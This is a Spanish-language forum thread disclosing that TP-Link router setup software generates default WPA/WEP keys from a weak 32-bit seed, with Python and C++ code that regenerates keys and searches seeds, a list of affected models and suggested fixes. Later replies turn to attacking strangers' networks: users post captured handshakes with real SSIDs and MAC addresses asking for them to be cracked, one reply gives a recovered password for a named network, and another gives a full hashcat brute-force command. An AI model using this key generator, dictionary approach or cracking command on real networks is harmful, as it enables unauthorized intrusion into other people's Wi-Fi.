Vulnerabilidad de TP-Link al generar claves WPA/WPA2

Publicado por D3M0N, 09 de Marzo de 2013, 01:52:50 PM

Tema anterior - Siguiente tema

0 Miembros y 5 Visitantes están viendo este tema.

D3M0N


Recientemente TP-Link ha sacado unos routers al mercado, los You are not allowed to view links. Register or Login que aparecen bajo el nombre TP-LINK_XXXXXX. Su clave por defecto en WPA / WPA2 y WEP es es de 10 y 13 caracteres respectivamente (aparentemente de 0-9, y A-Z) y es generada aleatoriamente por el You are not allowed to view links. Register or Login.

En WPA/WPA2 que es lo que nos interesa, un ataque de fuerza bruta acelerado por una GPU media a unos 20000 keys/s tardaría 3610 / 20000 = 3656158440062976 keys / 20000 keys/s = 5796,8011 años. Esto se puede lograr con cualquier tarjeta gráfica de gama media-alta en un ordenador normal, por lo que parece imposible de romper en un tiempo razonable.

Pues, desensamblando el asistente de configuración, he visto que el encargado de hacer esto es un generador de congruencia lineal que usa seeds de 32 bits. En otras palabras, el conjunto de claves posibles tanto para keys de 10 caracteres (WPA/WPA2) como de 13 caracteres (WEP) es de 232. El código en Python de este generador es:

chars = "2345678923456789ABCDEFGHJKLMNPQRSTUVWXYZ"
def gen(seed, length): #length=10 for WPA/WPA2, length=13 for WEP
    key = ""
    for i in range(length):
        seed = (seed)*0x343FD + 0x269EC3
        key += chars[((seed >> 0x10) & 0x7FFF) % 0x28]
    return key


Por si esto fuera poco, cada clave en el conjunto de claves está duplicada ya que las seeds i y (i+0x80000000) generan la misma clave para todos los enteros i de 32 bits. Esto hace que las combinaciones totales se reduzcan a 231. De esta manera, podemos encontrar la clave en un máximo de: 231 / 20000 = 1,24 días.
Esto se vuelve aún más grave si tenemos en cuenta que 1,24 días es el tiempo requerido a esa velocidad en el peor de los casos. El tiempo medio se situaría en 0,62 días. Por no hablar del tiempo que lograría un peligroso gamer con su ordenador nuevo listo para mover el Crysis 3 en ultra. En ese caso estaríamos hablando de una media de 3 o 4 horas.

He creado un pequeño programa en C++ para comprobar si claves generadas para otros routers TP-Link eran vulnerables. Tan solo lo tenéis que abrirlo, introducir "1", y poner la clave para comprobar si es vulnerable. Desde luego, todas las claves generadas para los TD-W8970, TD-W8961ND, y TD-W8968 están afectadas al compartir el mismo EasySetupAssistant. Si tenéis otro router distinto de TP-Link, pero con una clave aleatoria, no estaría de más que la comprobaseis.

Descarga (Windows + Linux + Sources): You are not allowed to view links. Register or Login

Mirror:
You are not allowed to view links. Register or Login (84 KB)
You are not allowed to view links. Register or Login

También me mosquee mucho con respecto a cómo se generaban los primeros 4 dígitos en hexadecimal de la clave, lo mismo me volví paranoico, o lo mismo no es sano desensamblar a las 5 de la mañana. En todo caso si alguien por aquí quiere contribuir a sembrar el caos y la destrucción a la seguiridad en Internet, podría echarle un ojo al asistente (basta con poner un breakpoint en 00474BF0, o con mucho cuidado poner la EIP ahí). Cada bit que determinéis reduciría el tiempo de descifrado a la mitad. Sólo eso me parece motivación suficiente para continuar.

Otra cosa que estaría genial es que alguien generase el diccionario para estos routers (ocuparía 22,5 GB), o que modifique algun crackeador de handshakes por GPU open source para que se centre en las claves para estos routers. Por último, si seguís este blog sabréis que subo algunos humildes tutoriales sobre cracking; pues como esto trae OllyDbg de por medio, pues hice un tutorial de cómo encontrar estos fallos usando este como ejemplo. ¡Que lo disfrutéis!


Por último, solo por comentar posibles soluciones a este fallo. Recomendaría usar seeds de más tamaño (64 bits) a la hora de generar las claves, o tomar dos seeds basadas en acciones del usario (tiempo en milisegundos transcurrido entre clicks) para generar dos partes distintas de la clave. O aún más sencillo, lo que hacen en los Linksys E4200, que usan la función CryptGenRandom de ADVAPI32 para generar 10 bytes aleatorios que se usan como indices (módulo longitud) de la string con los caracteres de la contraseña.




Adicional:

Este fallo afecta a todos* los routers WiFi de TP-Link sacados desde 2010. Básicamente todos los que empiezan con TL-WA, TL-WR, TL-WDR, y por otra parte los WXXXX y VGXXXX.

Estos routers vienen a ser los que aparecen en estas dos listas (quitando los adaptadores WiFi):
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Routers TP-Link vulnerables:
TL-W8151N    (V1, V3)
TL-WA730RE   (V1, V2*)
TL-WA830RE   (V1, V2*)
TL-WDR3500
TL-WDR3600
TL-WDR4300
TL-WR720N
TL-WR740N    (V1, V2, V3, V4)
TL-WR741ND   (V1, V2, V3*,V4)
TL-WR841N    (V1*,V5, V7, V8)
TL-WR841ND   (V3, V5, V7, V8*)
TL-WR842ND
TL-WR940N    (V1, V2)
TL-WR941ND   (V2, V3, V4, V5)
TL-WR1043N
TL-WR1043ND
TD-VG3511    (V1*)
TD-VG3631
TD-W8901N
TD-W8950ND
TD-W8951NB   (V3*,V4, V5)
TD-W8951ND   (V1, V3, V4, V5)
TD-W8960N    (V1, V3, V4)
TD-W8961NB   (V1, V2, V3*)
TD-W8961ND
TD-W8968
TD-W8970

*Posiblemente vulnerable. No he podido comprobarlo aún.





SOURCE CODE:

#include <iostream>
#include <iomanip>
#include <sstream>
using namespace std;

char chars [] = "2345678923456789ABCDEFGHJKLMNPQRSTUVWXYZ";

void gen (unsigned int seed, int len, char* key){
	seed -= 10;
	for (int i=0; i<len; i++){
		seed = seed*0x343FD + 0x269EC3;
		key[i] = chars[((seed >> 0x10) & 0x7FFF) % 0x28];
	}
	key[len]=0;
}


int main (){

	cout << "+------------------------------------------------+\n";
	cout << "|  Checking vulnerable keys in TP-Link routers:  |\n";
	cout << "|        TD-W8961ND | TD-W8968 | TD-W8970        |\n";
	cout << "|             alexaltea123@gmail.com             |\n";
	cout << "+------------------------------------------------+\n";

	cout << "\nSelect your mode:\n";
	cout << " [1] Test WPA/WPA2 keys: 10 characters.\n";
	cout << " [2] Test WEP keys: 13 characters.\n";
	cout << " [3] Generate keys from a seed.\n";
	cout << "\nMode: ";

	/*Select mode: WPA/WPA2, WEP or generate keys*/
	char key [14];
	unsigned int length;
	unsigned int number = 0;
	cin >> number;
	if (number == 1) length = 10;
	else if (number == 2) length = 13;
	else if (number == 3){
		while (true){
			cout << "\nEnter a valid seed (in decimal): ";
			cin >> number;
			gen(number, 13, key);
			cout << " [*] WEP key:       " << key << endl;
			key[10]=0;
			cout << " [*] WPA/WPA2 key:  " << key << endl;
		}
	}
	else return 0;

	/*Enter user's key*/
	char defkey [14];
	cout << "Enter your key: ";
	cin >> defkey;
	
	/*Scanning if the key is vulnerable*/
	unsigned int i;
	unsigned int pos;
	cout << "\nChecking seeds:\n";
	for (i=0; i<=0x80000000; i++){
		gen(i, length, key);

		if (i % 0x1000000 == 0){
			cout << "[" << string(i/0x4000000, '#') << string(32-i/0x4000000, ' ') << "] ";
			cout << dec << i/21474836 << "% | Current seed: 0x";
			cout <<  setfill('0') << setw(8) << hex << uppercase << i << "\r";
		}
		for(pos=0; pos<length; pos++){
			if (defkey[pos]!=key[pos]) break;
		}
		if (pos==length){
			cout << "[################################] 100% | Current seed: 0x";
			cout <<  setfill('0') << setw(8) << hex << uppercase << i << "\n";

			cout << "\nValid seed found!\n";
			cout << " [*] Seed: 0x" << setfill('0') << setw(8) << hex << i;
			cout << " (" << dec << i << " in decimal)\n";
			cout << " [*] Key:  " << key << endl;
			cout << "Your key is vulnerable to this attack.";
			break;
		}
	}

	if (i==0x80000001){
		cout << "\n\nNo valid seed found!\n";
		cout << "Your key is not vulnerable to this attack.\n";
	}

	cout << "\n\nPress enter to exit..." << endl;
	cin.sync();
	cin.get();
	return 0;
}

qualtrix

Buena data! Si vos desarrollaste todo eso te felicito

nyko513

Interesante! se podría crear un diccionario para atacar WPA por fuerza bruta siguiendo ese patron?

D3M0N

You are not allowed to view links. Register or Login
Interesante! se podría crear un diccionario para atacar WPA por fuerza bruta siguiendo ese patron?



TPLink-GenSeeds:
You are not allowed to view links. Register or Login
Este programa calcula el intervalo de seeds donde hay que buscar a partir de un intervalo de tiempo, que se puede indicar con dos fechas, o solo con una fecha y los días alrededor de esta. Como sería horrible hacer esto por terminal le he añadido una GUI rápida  para Windows y Linux (aunque se ve deforme en algunas distros). Para Windows traigo un .exe y para Linux basta con un:
python TPLink-GenSeeds-Linux.pyw
Si tenéis problemas, probablemente necesitéis ejecutar:
sudo apt-get install python-wxgtk2.8

TPLink-GenKeys:
You are not allowed to view links. Register or Login
Seleccionáis que tipo de claves queréis generar (si, sé que a estas alturas a nadie le interesa WEP, pero no me costaba nada). Indicáis el rango de las seeds (calculado con el programa de antes), os saldrá información sobre la lista y si continuáis, la tendréis en "./output.txt".
                   



SherlockH

D3M0N gracias por la data. El generador del diccionario da error a los 137 mb del archivo output.txt (que debería pesar cerca de 1 GB contando los seeds desde el 1/1/2010 hasta hoy, tengo Windows 8 ¿Habrá algún update del programa?

Saludos.

D3M0N


Kal-EL84

Agarro entre 5 y 6 redes que son TP-Link, son WPA/WPA2 con WPS, me serviría esto?

dj_zombie

Hola, alguno se da idea de como atacar una red wifi TP_LINK del tipo (TP-LINK_5FEEEAC) con seguridad wpa2
Cualquier guia o tuto me vendria bien. Saludos!

dj_zombie

You are not allowed to view links. Register or Login
Hola, tratá de capturar un cap, subilo acá y vemos que podemos hacer.

Este es el cap: You are not allowed to view links. Register or Login

NetworkName: TP-LINK_5FEEAC
Network Mac: D4:6E:0E:5F:EE:AC
WPS Enabled: Yes
Encryption Type: WPA2
AP Vendor: TP-LINK TECHNOLOGIESCO.

jalondrio

Wired, Strike Les dejo este cap de tp-link a ver si sale algo. Desdeya agredzco hasta el infinito por que si son de 8 digitos seria mas facil para mi.

You are not allowed to view links. Register or Login

TP-LINK_2AFE
98:DE:D0:9D:2A:FE

MaruMoon

You are not allowed to view links. Register or Login
TP-LINK_2AFE : 25440669
;)
strike una consulta, tengo una captura de un tp link que también comienza con mac 98-DE-D0-xx, sin embargo un diccionario de 8 dígitos numéricos no me dio resultado positivo. Desde tu experiencia, probarías con algo más?

Gracias!

dj_zombie

You are not allowed to view links. Register or Login
Este es el cap: You are not allowed to view links. Register or Login

NetworkName: TP-LINK_5FEEAC
Network Mac: D4:6E:0E:5F:EE:AC
WPS Enabled: Yes
Encryption Type: WPA2
AP Vendor: TP-LINK TECHNOLOGIESCO.

Agradeceria mucho si alguien me puede dar una mano, ya que me he cansado de fracasar jaja.

D3M0N

You are not allowed to view links. Register or Login
Agradeceria mucho si alguien me puede dar una mano, ya que me he cansado de fracasar jaja.

Por lo general por defecto traen 8 numéricos que son los mismos que el WPS. Quizas por WPS la saques mas rápido siempre que no tenga actualizado el firmware y si el cliente cambio la de por defecto también la obtendrias.

Cronos

You are not allowed to view links. Register or Login
Agradeceria mucho si alguien me puede dar una mano, ya que me he cansado de fracasar jaja.

Si tenes certeza de que la clave es de 8 dígitos, con hashcat la rompés en unas horitas. el comando que yo uso para eso es:
hashcat64.exe -m 2500 -a 3 -D 1,2 capture.hccapx ?d?d?d?d?d?d?d?d --session capturaultima -w 3 -o damelapass.txt
pause

dj_zombie

#14
Hola gracias por responder. el problema es que no me toma la placa de video. Me usa el procesador y me arroja mas de 30dias, un pernaso! jaja

Se aceptan sugerencias...

Adicionalmente he detectado una red nueva con muy buena intensidad de señal. Le han cambiado el nombre a la red por (delorian explosive) asique desconozco el proveedor, aunque de seguro la clave debe ser muy simple, asique a continuacion pongo el handshake a ver si alguien me da una mano a ver que sale.
Saludos y gracias como siempre por compartir ayuda y conocimientos!

handshake:  You are not allowed to view links. Register or Login

DELORIANEXPLOSIVE
C0-25-E9-41-9D-69
TP-LINK
WPA2
canal 4